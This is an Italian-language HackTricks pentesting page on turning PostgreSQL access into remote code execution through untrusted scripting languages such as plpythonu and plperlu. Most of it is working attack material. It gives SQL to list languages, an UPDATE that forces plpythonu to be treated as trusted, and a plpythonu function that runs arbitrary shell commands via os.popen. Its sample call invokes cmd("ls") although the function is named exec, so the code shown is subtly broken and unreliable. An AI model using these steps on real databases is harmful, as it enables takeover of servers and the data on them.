RCE with PostgreSQL Languages

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Linguaggi PostgreSQL

Il database PostgreSQL a cui hai accesso potrebbe avere diversi linguaggi di scripting installati che potresti sfruttare per eseguire codice arbitrario.

Puoi farli funzionare:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

La maggior parte dei linguaggi di scripting che puoi installare in PostgreSQL ha 2 varianti: la fidata e l'non fidata. L'non fidata avrà un nome che termina con "u" e sarà la versione che ti permetterà di eseguire codice e utilizzare altre funzioni interessanti. Questi sono linguaggi che, se installati, sono interessanti:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (qualsiasi altro linguaggio di programmazione che utilizza una versione non sicura)

Se scopri che un linguaggio interessante è installato ma non fidato da PostgreSQL (lanpltrusted è false) puoi provare a fidarlo con la seguente riga in modo che non vengano applicate restrizioni da PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Se non vedi un linguaggio, potresti provare a caricarlo con (devi essere superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Nota che è possibile compilare le versioni sicure come "non sicure". Controlla questo per esempio. Quindi vale sempre la pena provare se puoi eseguire codice anche se trovi installato solo quello fidato.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Controlla la seguente pagina:

PL/pgSQL Password Bruteforce

C

Controlla la seguente pagina:

RCE with PostgreSQL Extensions

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Last updated